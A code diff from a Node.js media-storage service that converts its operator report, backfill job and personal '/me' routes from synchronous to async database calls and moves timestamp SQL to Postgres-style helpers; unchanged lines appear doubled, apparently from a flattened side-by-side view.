+ const bad = (await db.all(`SELECT l.object_id, l.provider, l.state, l.verified_at, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status
FROM media_locations l JOIN media_objects o ON o.id = l.object_id
FROM media_locations l JOIN media_objects o ON o.id = l.object_id
WHERE l.state IN ('missing', 'corrupt') AND o.lifecycle_status != 'deleted'${s.sql}
WHERE l.state IN ('missing', 'corrupt') AND o.lifecycle_status != 'deleted'${s.sql}
- ORDER BY COALESCE(l.verified_at, '') DESC, l.id DESC LIMIT ?`, [...s.params, limit])
+ ORDER BY COALESCE(l.verified_at, '') DESC, l.id DESC LIMIT ?`, [...s.params, limit]))
.map(r => ({ object_id: r.object_id, app_id: r.app_id, kind: r.kind, legacy_ref: r.legacy_ref || null, lifecycle_status: r.lifecycle_status,
.map(r => ({ object_id: r.object_id, app_id: r.app_id, kind: r.kind, legacy_ref: r.legacy_ref || null, lifecycle_status: r.lifecycle_status,
provider: r.provider, state: r.state, verified_at: iso(r.verified_at) }));
provider: r.provider, state: r.state, verified_at: iso(r.verified_at) }));
const vs = scoped(appId);
const vs = scoped(appId);
const quarantined = {};
const quarantined = {};
- for (const r of db.all(`SELECT health_status, COUNT(*) AS n FROM vods WHERE health_status IN ('missing_file', 'zero_byte', 'corrupt', 'needs_review')${vs.sql}
+ for (const r of await db.all(`SELECT health_status, COUNT(*) AS n FROM vods WHERE health_status IN ('missing_file', 'zero_byte', 'corrupt', 'needs_review')${vs.sql}
GROUP BY health_status`, vs.params)) quarantined[r.health_status] = r.n;
GROUP BY health_status`, vs.params)) quarantined[r.health_status] = r.n;
const verification = { last_run: null, statuses: {} };
const verification = { last_run: null, statuses: {} };
- if (tableExists('media_verify_runs')) {
- const r = db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
+ if (await tableExists('media_verify_runs')) {
+ const r = await db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');
if (r) {
if (r) {
verification.last_run = { id: r.id, started_at: iso(r.started_at), finished_at: iso(r.finished_at), objects_checked: r.objects_checked,
verification.last_run = { id: r.id, started_at: iso(r.started_at), finished_at: iso(r.finished_at), objects_checked: r.objects_checked,
good: r.good, no_good_copy: r.no_good_copy, unverifiable: r.unverifiable, reuploaded: r.reuploaded, reupload_failed: r.reupload_failed,
good: r.good, no_good_copy: r.no_good_copy, unverifiable: r.unverifiable, reuploaded: r.reuploaded, reupload_failed: r.reupload_failed,
@@ -87,7 +87,7 @@ function missing(appId, limit) {
@@ -87,7 +87,7 @@ function missing(appId, limit) {
}
}
}
}
if (hasVerifications) {
if (hasVerifications) {
- for (const r of db.all(`SELECT v.status, COUNT(*) AS n FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE 1 = 1${s.sql} GROUP BY v.status`, s.params)) {
+ for (const r of await db.all(`SELECT v.status, COUNT(*) AS n FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE 1 = 1${s.sql} GROUP BY v.status`, s.params)) {
verification.statuses[r.status] = r.n;
verification.statuses[r.status] = r.n;
}
}
}
}
@@ -102,16 +102,16 @@ function missing(appId, limit) {
@@ -102,16 +102,16 @@ function missing(appId, limit) {
// ── Backfill ─────────────────────────────────────────────────
// ── Backfill ─────────────────────────────────────────────────
-function backfill(appId) {
+async function backfill(appId) {
const s = scoped(appId);
const s = scoped(appId);
- const last = require('../objects/backfill').lastReport();
+ const last = await require('../objects/backfill').lastReport();
const unprojected = {
const unprojected = {
- vods: db.get(`SELECT COUNT(*) AS n FROM vods WHERE object_id IS NULL AND COALESCE(clips_only, 0) = 0${s.sql}`, s.params).n,
- clips: db.get(`SELECT COUNT(*) AS n FROM clips WHERE object_id IS NULL${s.sql}`, s.params).n,
- files: db.get(`SELECT COUNT(*) AS n FROM files WHERE object_id IS NULL${s.sql}`, s.params).n,
- screenshots: db.get(`SELECT COUNT(*) AS n FROM pastes WHERE object_id IS NULL AND type = 'screenshot' AND COALESCE(screenshot_path, '') != ''${s.sql}`, s.params).n,
+ vods: (await db.get(`SELECT COUNT(*) AS n FROM vods WHERE object_id IS NULL AND COALESCE(clips_only, 0) = 0${s.sql}`, s.params)).n,
+ clips: (await db.get(`SELECT COUNT(*) AS n FROM clips WHERE object_id IS NULL${s.sql}`, s.params)).n,
+ files: (await db.get(`SELECT COUNT(*) AS n FROM files WHERE object_id IS NULL${s.sql}`, s.params)).n,
+ screenshots: (await db.get(`SELECT COUNT(*) AS n FROM pastes WHERE object_id IS NULL AND type = 'screenshot' AND COALESCE(screenshot_path, '') != ''${s.sql}`, s.params)).n,
};
};
- const owner = db.all(`SELECT app_id, COUNT(*) AS n FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL
+ const owner = await db.all(`SELECT app_id, COUNT(*) AS n FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL
AND lifecycle_status != 'deleted'${s.sql} GROUP BY app_id ORDER BY n DESC`, s.params);
AND lifecycle_status != 'deleted'${s.sql} GROUP BY app_id ORDER BY n DESC`, s.params);
return {
return {
objects: last ? {
objects: last ? {
@@ -122,48 +122,48 @@ function backfill(appId) {
@@ -122,48 +122,48 @@ function backfill(appId) {
} : null,
} : null,
unprojected,
unprojected,
owner_subject: { missing: owner.reduce((a, r) => a + r.n, 0), by_app: owner.map(r => ({ app_id: r.app_id, count: r.n })) },
owner_subject: { missing: owner.reduce((a, r) => a + r.n, 0), by_app: owner.map(r => ({ app_id: r.app_id, count: r.n })) },
- namespace_reservations_seeded: !!db.get("SELECT 1 AS x FROM media_settings WHERE key = 'namespaces.reservations_seeded'"),
+ namespace_reservations_seeded: !!await db.get("SELECT 1 AS x FROM media_settings WHERE key = 'namespaces.reservations_seeded'"),
note: 'objects: the last boot or scripted backfill that changed something (media_settings objects.backfill.last_report). unprojected: rows with no object yet. owner_subject: objects the owner-subject job has not resolved.',
note: 'objects: the last boot or scripted backfill that changed something (media_settings objects.backfill.last_report). unprojected: rows with no object yet. owner_subject: objects the owner-subject job has not resolved.',
};
};
}
}
// ── Tiering ──────────────────────────────────────────────────
// ── Tiering ──────────────────────────────────────────────────
-function tiering(appId, limit) {
+async function tiering(appId, limit) {
const vodStorage = require('../vod/vod-storage');
const vodStorage = require('../vod/vod-storage');
const s = scoped(appId);
const s = scoped(appId);
- const providers = (table, bytes) => {
+ const providers = async (table, bytes) => {
const out = {};
const out = {};
- for (const r of db.all(`SELECT COALESCE(storage_provider, 'local') AS p, COUNT(*) AS n${bytes ? ', COALESCE(SUM(file_size), 0) AS b' : ''}
+ for (const r of await db.all(`SELECT COALESCE(storage_provider, 'local') AS p, COUNT(*) AS n${bytes ? ', COALESCE(SUM(file_size), 0)::bigint AS b' : ''}
FROM ${table} WHERE 1 = 1${s.sql} GROUP BY p`, s.params)) out[r.p] = bytes ? { count: r.n, bytes: r.b } : { count: r.n };
FROM ${table} WHERE 1 = 1${s.sql} GROUP BY p`, s.params)) out[r.p] = bytes ? { count: r.n, bytes: r.b } : { count: r.n };
return out;
return out;
};
};
- const objects = db.all(`SELECT COALESCE(canonical_provider, 'none') AS p, CASE WHEN legacy_ref IS NULL THEN 'native' ELSE 'projected' END AS origin,
- COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b
- FROM media_objects WHERE lifecycle_status != 'deleted'${s.sql} GROUP BY p, origin ORDER BY origin, p`, s.params)
+ const objects = (await db.all(`SELECT COALESCE(canonical_provider, 'none') AS p, CASE WHEN legacy_ref IS NULL THEN 'native' ELSE 'projected' END AS origin,
+ COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS b
+ FROM media_objects WHERE lifecycle_status != 'deleted'${s.sql} GROUP BY p, origin ORDER BY origin, p`, s.params))
.map(r => ({ canonical_provider: r.p, origin: r.origin, count: r.n, bytes: r.b }));
.map(r => ({ canonical_provider: r.p, origin: r.origin, count: r.n, bytes: r.b }));
const settings = vodStorage.getSettings();
const settings = vodStorage.getSettings();
- const pendingOffload = db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${vodStorage.OFFLOADABLE_WHERE}
+ const pendingOffload = (await db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${vodStorage.OFFLOADABLE_WHERE}
AND created_at <= datetime('now', ?) AND COALESCE(view_count, 0) <= ?
AND created_at <= datetime('now', ?) AND COALESCE(view_count, 0) <= ?
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))${s.sql}`,
AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))${s.sql}`,
- [`-${Number(settings.minAgeDays) || 0} days`, Number(settings.maxViewsForCold) || 0, `-${Number(settings.minLastAccessDays) || 0} days`, ...s.params]).c;
+ [`-${Number(settings.minAgeDays) || 0} days`, Number(settings.maxViewsForCold) || 0, `-${Number(settings.minLastAccessDays) || 0} days`, ...s.params])).c;
const decisions = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };
const decisions = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };
- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions
- WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day')${s.sql} GROUP BY action, outcome`, s.params)) {
+ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions
+ WHERE decided_at >= ov_now_iso('-1 day')${s.sql} GROUP BY action, outcome`, s.params)) {
if (decisions[r.action]) decisions[r.action][r.outcome] = r.n;
if (decisions[r.action]) decisions[r.action][r.outcome] = r.n;
}
}
- const problems = db.all(`SELECT id, decided_at, app_id, vod_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, error
- FROM media_tier_decisions WHERE outcome IN ('refused', 'failed')${s.sql} ORDER BY id DESC LIMIT ?`, [...s.params, Math.min(limit, 20)])
+ const problems = (await db.all(`SELECT id, decided_at, app_id, vod_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, error
+ FROM media_tier_decisions WHERE outcome IN ('refused', 'failed')${s.sql} ORDER BY id DESC LIMIT ?`, [...s.params, Math.min(limit, 20)]))
.map(r => ({ ...r, reason: clip(r.reason, 300), error: clip(r.error, 300) }));
.map(r => ({ ...r, reason: clip(r.reason, 300), error: clip(r.error, 300) }));
const sweep = vodStorage.sweepInfo();
const sweep = vodStorage.sweepInfo();
// Native v2 objects (objects/tiering.js): the activation gate, the policy, R2 copies, what would be promoted
// Native v2 objects (objects/tiering.js): the activation gate, the policy, R2 copies, what would be promoted
// now, and the decisions (dry runs included), from the database like everything here.
// now, and the decisions (dry runs included), from the database like everything here.
- const nativeObjects = require('../objects/tiering').report({ appId, limit: Math.min(limit, 20) });
+ const nativeObjects = await require('../objects/tiering').report({ appId, limit: Math.min(limit, 20) });
return {
return {
providers: { b2: vodStorage.providerConfigured('b2'), r2: vodStorage.providerConfigured('r2') },
providers: { b2: vodStorage.providerConfigured('b2'), r2: vodStorage.providerConfigured('r2') },
policy: { enabled: !!settings.enabled, r2_enabled: !!settings.r2Enabled, min_age_days: settings.minAgeDays, max_views_for_cold: settings.maxViewsForCold, min_last_access_days: settings.minLastAccessDays },
policy: { enabled: !!settings.enabled, r2_enabled: !!settings.r2Enabled, min_age_days: settings.minAgeDays, max_views_for_cold: settings.maxViewsForCold, min_last_access_days: settings.minLastAccessDays },
- vods: providers('vods', true),
- clips: providers('clips', false),
+ vods: await providers('vods', true),
+ clips: await providers('clips', false),
objects,
objects,
pending_offload: pendingOffload,
pending_offload: pendingOffload,
decisions_24h: decisions,
decisions_24h: decisions,
@@ -185,38 +185,38 @@ function tiering(appId, limit) {
@@ -185,38 +185,38 @@ function tiering(appId, limit) {
// ── Namespaces ───────────────────────────────────────────────
// ── Namespaces ───────────────────────────────────────────────
-function namespaceSnapshot(appId) {
+async function namespaceSnapshot(appId) {
const s = scoped(appId);
const s = scoped(appId);
const apps = new Map();
const apps = new Map();
- return db.all(`SELECT * FROM media_namespaces WHERE 1 = 1${s.sql} ORDER BY app_id, namespace`, s.params).map((row) => {
- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });
- return { app_id: row.app_id, ...namespaces.publicShape(apps.get(row.app_id), row) };
- });
+ return (await Promise.all((await db.all(`SELECT * FROM media_namespaces WHERE 1 = 1${s.sql} ORDER BY app_id, namespace`, s.params)).map(async (row) => {
+ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });
+ return { app_id: row.app_id, ...await namespaces.publicShape(apps.get(row.app_id), row) };
+ })));
}
}
/** The whole operator report (see the header). `limit` bounds each list (1-200, default 50). */
/** The whole operator report (see the header). `limit` bounds each list (1-200, default 50). */
-function report({ appId = null, limit = 50 } = {}) {
+async function report({ appId = null, limit = 50 } = {}) {
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);
return {
return {
generated_at: new Date().toISOString(),
generated_at: new Date().toISOString(),
scope: appId || 'all',
scope: appId || 'all',
- tenants: db.all('SELECT app_id FROM apps ORDER BY app_id').map(r => r.app_id),
- jobs: jobs(appId, n),
- missing: missing(appId, n),
- backfill: backfill(appId),
- tiering: tiering(appId, n),
- namespaces: namespaceSnapshot(appId),
+ tenants: (await db.all('SELECT app_id FROM apps ORDER BY app_id')).map(r => r.app_id),
+ jobs: await jobs(appId, n),
+ missing: await missing(appId, n),
+ backfill: await backfill(appId),
+ tiering: await tiering(appId, n),
+ namespaces: await namespaceSnapshot(appId),
};
};
}
}
/** Refresh the usage snapshot of every namespace (or one tenant's) from the rows: { namespaces, recomputed_at }. */
/** Refresh the usage snapshot of every namespace (or one tenant's) from the rows: { namespaces, recomputed_at }. */
-function recompute({ appId = null } = {}) {
+async function recompute({ appId = null } = {}) {
let count = 0;
let count = 0;
if (appId) {
if (appId) {
- const app = db.getApp(appId) || { app_id: appId };
- for (const row of namespaces.listForTenant(appId)) { namespaces.reconcile(app, row.namespace); count++; }
+ const app = await db.getApp(appId) || { app_id: appId };
+ for (const row of await namespaces.listForTenant(appId)) { await namespaces.reconcile(app, row.namespace); count++; }
} else {
} else {
- count = namespaces.reconcileAll();
+ count = await namespaces.reconcileAll();
}
}
return { namespaces: count, scope: appId || 'all', recomputed_at: new Date().toISOString() };
return { namespaces: count, scope: appId || 'all', recomputed_at: new Date().toISOString() };
}
}
@@ -125,42 +125,42 @@ function createMeRoutes({ auth }) {
@@ -125,42 +125,42 @@ function createMeRoutes({ auth }) {
// Per-actor limits (server/actor-limits.js), counted by the signed-in person once identify() ran:
// Per-actor limits (server/actor-limits.js), counted by the signed-in person once identify() ran:
// reads take the defaults.
// reads take the defaults.
- api.get('/objects', limits('media.me.objects'), (req, res) => {
+ api.get('/objects', limits('media.me.objects'), async (req, res) => {
if (!needPerson(req, res)) return;
if (!needPerson(req, res)) return;
const f = explorer.parseFilters(req.query);
const f = explorer.parseFilters(req.query);
if (f.error) return problem(res, 400, 'media.me.invalid', f.error);
if (f.error) return problem(res, 400, 'media.me.invalid', f.error);
try {
try {
- res.json(explorer.list(req.person.subject, f.filters));
+ res.json(await explorer.list(req.person.subject, f.filters));
} catch (err) {
} catch (err) {
console.error('[Me] list error:', err.message);
console.error('[Me] list error:', err.message);
problem(res, 500, 'media.me.list_failed', 'Failed to list your objects');
problem(res, 500, 'media.me.list_failed', 'Failed to list your objects');
}
}
});
});
- api.get('/objects/:id', limits('media.me.object'), (req, res) => {
+ api.get('/objects/:id', limits('media.me.object'), async (req, res) => {
if (!needPerson(req, res)) return;
if (!needPerson(req, res)) return;
- const obj = explorer.detail(req.person.subject, req.params.id);
+ const obj = await explorer.detail(req.person.subject, req.params.id);
if (!obj) return problem(res, 404, 'media.object.not_found', 'No such object of yours');
if (!obj) return problem(res, 404, 'media.object.not_found', 'No such object of yours');
res.json(obj);
res.json(obj);
});
});
- api.get('/usage', limits('media.me.usage'), (req, res) => {
+ api.get('/usage', limits('media.me.usage'), async (req, res) => {
if (!needPerson(req, res)) return;
if (!needPerson(req, res)) return;
try {
try {
- res.json(explorer.usage(req.person.subject));
+ res.json(await explorer.usage(req.person.subject));
} catch (err) {
} catch (err) {
console.error('[Me] usage error:', err.message);
console.error('[Me] usage error:', err.message);
problem(res, 500, 'media.me.usage_failed', 'Failed to count your usage');
problem(res, 500, 'media.me.usage_failed', 'Failed to count your usage');
}
}
});
});
- api.get('/ops', limits('media.me.ops'), (req, res) => {
+ api.get('/ops', limits('media.me.ops'), async (req, res) => {
if (!needPerson(req, res)) return;
if (!needPerson(req, res)) return;
if (!can(req.person, 'staff.site.view')) return problem(res, 403, 'capability.denied', 'staff.site.view not granted');
if (!can(req.person, 'staff.site.view')) return problem(res, 403, 'capability.denied', 'staff.site.view not granted');
const s = opsScope(req);
const s = opsScope(req);
if (s.error) return problem(res, 400, 'media.me.invalid', s.error);
if (s.error) return problem(res, 400, 'media.me.invalid', s.error);
try {
try {
- res.json(require('./ops').report({ appId: s.appId, limit: req.query.limit }));
+ res.json(await require('./ops').report({ appId: s.appId, limit: req.query.limit }));
} catch (err) {
} catch (err) {
console.error('[Me] ops report error:', err.message);
console.error('[Me] ops report error:', err.message);
problem(res, 500, 'media.ops.report_failed', 'Failed to build the operator report');
problem(res, 500, 'media.ops.report_failed', 'Failed to build the operator report');
@@ -168,13 +168,13 @@ function createMeRoutes({ auth }) {
@@ -168,13 +168,13 @@ function createMeRoutes({ auth }) {
});
});
// A recompute counts every namespace's rows again: a staff button, pressed a few times at most.
// A recompute counts every namespace's rows again: a staff button, pressed a few times at most.
- api.post('/ops/recompute', limits('media.me.ops_recompute', { minute: 6, hour: 60 }), (req, res) => {
+ api.post('/ops/recompute', limits('media.me.ops_recompute', { minute: 6, hour: 60 }), async (req, res) => {
if (!needPerson(req, res)) return;
if (!needPerson(req, res)) return;
if (!can(req.person, 'staff.site.configure')) return problem(res, 403, 'capability.denied', 'staff.site.configure not granted');
if (!can(req.person, 'staff.site.configure')) return problem(res, 403, 'capability.denied', 'staff.site.configure not granted');
if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');
if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');
const s = opsScope(req);
const s = opsScope(req);
if (s.error) return problem(res, 400, 'media.me.invalid', s.error);
if (s.error) return problem(res, 400, 'media.me.invalid', s.error);
- const out = require('./ops').recompute({ appId: s.appId });
+ const out = await require('./ops').recompute({ appId: s.appId });
console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);
console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);
res.json(out);
res.json(out);
});
});
@@ -203,13 +203,13 @@ function createMeRoutes({ auth }) {
@@ -203,13 +203,13 @@ function createMeRoutes({ auth }) {
return html(res, 200, pages.renderSignIn({ next, heading, reason }));
return html(res, 200, pages.renderSignIn({ next, heading, reason }));
}
}
- site.get('/', (req, res) => {
+ site.get('/', async (req, res) => {
if (!req.person) return signedOut(req, res, 'Your media', '/me');
if (!req.person) return signedOut(req, res, 'Your media', '/me');
const f = explorer.parseFilters(req.query);
const f = explorer.parseFilters(req.query);
const filters = f.error ? explorer.parseFilters({}).filters : f.filters;
const filters = f.error ? explorer.parseFilters({}).filters : f.filters;
try {
try {
html(res, f.error ? 400 : 200, pages.renderExplorer({
html(res, f.error ? 400 : 200, pages.renderExplorer({
- person: req.person, filters, list: explorer.list(req.person.subject, filters), usage: explorer.usage(req.person.subject),
+ person: req.person, filters, list: await explorer.list(req.person.subject, filters), usage: await explorer.usage(req.person.subject),
canOps: can(req.person, 'staff.site.view'),
canOps: can(req.person, 'staff.site.view'),
}));
}));
} catch (err) {
} catch (err) {
@@ -218,29 +218,29 @@ function createMeRoutes({ auth }) {
@@ -218,29 +218,29 @@ function createMeRoutes({ auth }) {
}
}
});
});
- site.get('/objects/:id', (req, res, next) => {
+ site.get('/objects/:id', async (req, res, next) => {
if (!req.person) return signedOut(req, res, 'Your media', `/me/objects/${encodeURIComponent(req.params.id)}`);
if (!req.person) return signedOut(req, res, 'Your media', `/me/objects/${encodeURIComponent(req.params.id)}`);
- const obj = explorer.detail(req.person.subject, req.params.id);
+ const obj = await explorer.detail(req.person.subject, req.params.id);
if (!obj) return next(); // the site's own not-found, exactly as for an id that does not exist
if (!obj) return next(); // the site's own not-found, exactly as for an id that does not exist
html(res, 200, pages.renderDetail({ person: req.person, obj }));
html(res, 200, pages.renderDetail({ person: req.person, obj }));
});
});
- site.get('/ops', (req, res) => {
+ site.get('/ops', async (req, res) => {
if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');
if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');
if (!can(req.person, 'staff.site.view')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.view' }));
if (!can(req.person, 'staff.site.view')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.view' }));
const s = opsScope(req);
const s = opsScope(req);
html(res, s.error ? 400 : 200, pages.renderOps({
html(res, s.error ? 400 : 200, pages.renderOps({
- person: req.person, report: require('./ops').report({ appId: s.error ? null : s.appId }), canRecompute: can(req.person, 'staff.site.configure'),
+ person: req.person, report: await require('./ops').report({ appId: s.error ? null : s.appId }), canRecompute: can(req.person, 'staff.site.configure'),
recomputed: /^\d+$/.test(String(req.query.recomputed || '')) ? String(req.query.recomputed) : null,
recomputed: /^\d+$/.test(String(req.query.recomputed || '')) ? String(req.query.recomputed) : null,
}));
}));
});
});
- site.post('/ops/recompute', (req, res) => {
+ site.post('/ops/recompute', async (req, res) => {
if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');
if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');
if (!can(req.person, 'staff.site.configure')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.configure' }));
if (!can(req.person, 'staff.site.configure')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.configure' }));
if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');
if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');
const s = opsScope(req);
const s = opsScope(req);
- const out = require('./ops').recompute({ appId: s.error ? null : s.appId });
+ const out = await require('./ops').recompute({ appId: s.error ? null : s.appId });
console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);
console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);
const qs = new URLSearchParams({ ...(s.appId ? { app: s.appId } : {}), recomputed: String(out.namespaces) });
const qs = new URLSearchParams({ ...(s.appId ? { app: s.appId } : {}), recomputed: String(out.namespaces) });
res.redirect(303, `/me/ops?${qs}`);
res.redirect(303, `/me/ops?${qs}`);
@@ -23,7 +23,7 @@ function emptyCounts() {
@@ -23,7 +23,7 @@ function emptyCounts() {
return { seen: 0, created: 0, updated: 0, skipped: 0 };
return { seen: 0, created: 0, updated: 0, skipped: 0 };
}
}
-function backfill({ dryRun = false, onlyMissing = false } = {}) {
+async function backfill({ dryRun = false, onlyMissing = false } = {}) {
const report = {
const report = {
started_at: new Date().toISOString(), dry_run: !!dryRun, only_missing: !!onlyMissing,
started_at: new Date().toISOString(), dry_run: !!dryRun, only_missing: !!onlyMissing,
counts: { vod: emptyCounts(), clip: emptyCounts(), file: emptyCounts(), screenshot: emptyCounts(), avatar: emptyCounts(), thumbnail: emptyCounts() },
counts: { vod: emptyCounts(), clip: emptyCounts(), file: emptyCounts(), screenshot: emptyCounts(), avatar: emptyCounts(), thumbnail: emptyCounts() },
@@ -46,39 +46,40 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {
@@ -46,39 +46,40 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {
tally('thumbnail', `${table}.thumbnail_url`, id, r.thumbnail);
tally('thumbnail', `${table}.thumbnail_url`, id, r.thumbnail);
};
};
const d = db.getDb();
const d = db.getDb();
- // One savepoint per row: a row that fails leaves nothing half-written behind.
- const each = (table, sql, fn) => {
- const one = d.transaction(fn);
- for (const row of db.all(sql)) {
- try { one(row); } catch (err) { report.errors.push({ table, id: row.id ?? row.key, error: err.message }); }
+ // One savepoint per row (a nested transaction): a row that fails leaves nothing half-written behind.
+ const each = async (table, sql, fn) => {
+ for (const row of await db.all(sql)) {
+ try { await d.tx(async () => { await fn(row); }); } catch (err) { report.errors.push({ table, id: row.id ?? row.key, error: err.message }); }
}
}
};
};
- d.exec('BEGIN');
+ // One transaction for the run; a dry run rolls it back at the end.
+ const DRY = Symbol('dry run');
try {
try {
+ await d.tx(async () => {
// VODs before clips, so clip_of can point at the vod's object.
// VODs before clips, so clip_of can point at the vod's object.
- each('vods', `SELECT * FROM vods${where} ORDER BY id`, (row) => {
- const r = model.syncVod(row);
+ await each('vods', `SELECT * FROM vods${where} ORDER BY id`, async (row) => {
+ const r = await model.syncVod(row);
tally('vod', 'vods', row.id, r);
tally('vod', 'vods', row.id, r);
thumb('vods', row.id, r);
thumb('vods', row.id, r);
});
});
- each('clips', `SELECT * FROM clips${where} ORDER BY id`, (row) => {
- const r = model.syncClip(row);
+ await each('clips', `SELECT * FROM clips${where} ORDER BY id`, async (row) => {
+ const r = await model.syncClip(row);
tally('clip', 'clips', row.id, r);
tally('clip', 'clips', row.id, r);
thumb('clips', row.id, r);
thumb('clips', row.id, r);
});
});
- each('files', `SELECT * FROM files${where} ORDER BY created_at, key`, (row) => {
- tally('file', 'files', row.key, model.syncFile(row));
+ await each('files', `SELECT * FROM files${where} ORDER BY created_at, key`, async (row) => {
+ tally('file', 'files', row.key, await model.syncFile(row));
});
});
- each('pastes', `SELECT * FROM pastes${where ? where + ' AND' : ' WHERE'} type = 'screenshot' ORDER BY id`, (row) => {
- const r = model.syncPaste(row);
+ await each('pastes', `SELECT * FROM pastes${where ? where + ' AND' : ' WHERE'} type = 'screenshot' ORDER BY id`, async (row) => {
+ const r = await model.syncPaste(row);
const kind = (r && r.kind) || (String(row.metadata || '').includes('"kind":"avatar"') ? 'avatar' : 'screenshot');
const kind = (r && r.kind) || (String(row.metadata || '').includes('"kind":"avatar"') ? 'avatar' : 'screenshot');
tally(kind, 'pastes', row.id, r);
tally(kind, 'pastes', row.id, r);
});
});
- if (dryRun) d.exec('ROLLBACK'); else d.exec('COMMIT');
+ if (dryRun) throw DRY;
+ });
} catch (err) {
} catch (err) {
- try { d.exec('ROLLBACK'); } catch { /* already rolled back */ }
- throw err;
+ if (err !== DRY) throw err;
}
}
report.finished_at = new Date().toISOString();
report.finished_at = new Date().toISOString();
@@ -89,14 +90,14 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {
@@ -89,14 +90,14 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {
if (!dryRun && (!onlyMissing || report.totals.created || report.totals.updated)) {
if (!dryRun && (!onlyMissing || report.totals.created || report.totals.updated)) {
// Keep the latest report (skipped rows capped) for operators: media_settings.objects.backfill.last_report.
// Keep the latest report (skipped rows capped) for operators: media_settings.objects.backfill.last_report.
const stored = { ...report, skipped: report.skipped.slice(0, 500), skipped_truncated: report.skipped.length > 500 };
const stored = { ...report, skipped: report.skipped.slice(0, 500), skipped_truncated: report.skipped.length > 500 };
- db.run(`INSERT INTO media_settings (key, value, description, type) VALUES (?, ?, 'Last object backfill report', 'json')
- ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = CURRENT_TIMESTAMP`, [SETTING_KEY, JSON.stringify(stored)]);
+ await db.run(`INSERT INTO media_settings (key, value, description, type) VALUES (?, ?, 'Last object backfill report', 'json')
+ ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = ov_now()`, [SETTING_KEY, JSON.stringify(stored)]);
}
}
return report;
return report;
}
}
-function lastReport() {
- const row = db.get('SELECT value FROM media_settings WHERE key = ?', [SETTING_KEY]);
+async function lastReport() {
+ const row = await db.get('SELECT value FROM media_settings WHERE key = ?', [SETTING_KEY]);
return row ? model.parseJson(row.value, null) : null;
return row ? model.parseJson(row.value, null) : null;
}
}
@@ -15,44 +15,44 @@
@@ -15,44 +15,44 @@
const NO_GOOD_COPY_WHERE = `o.lifecycle_status = 'ready'
const NO_GOOD_COPY_WHERE = `o.lifecycle_status = 'ready'
AND NOT EXISTS (SELECT 1 FROM media_locations l WHERE l.object_id = o.id AND l.state IN ('present', 'pending'))`;
AND NOT EXISTS (SELECT 1 FROM media_locations l WHERE l.object_id = o.id AND l.state IN ('present', 'pending'))`;
-function countNoGoodCopy(q, { appId = null } = {}) {
- const r = q.get(`SELECT COUNT(*) AS n FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);
+async function countNoGoodCopy(q, { appId = null } = {}) {
+ const r = await q.get(`SELECT COUNT(*) AS n FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);
return Number(r && r.n) || 0;
return Number(r && r.n) || 0;
}
}
-function listNoGoodCopy(q, { appId = null } = {}) {
- return q.all(`SELECT o.* FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''} ORDER BY o.app_id, o.id`, appId ? [appId] : []);
+async function listNoGoodCopy(q, { appId = null } = {}) {
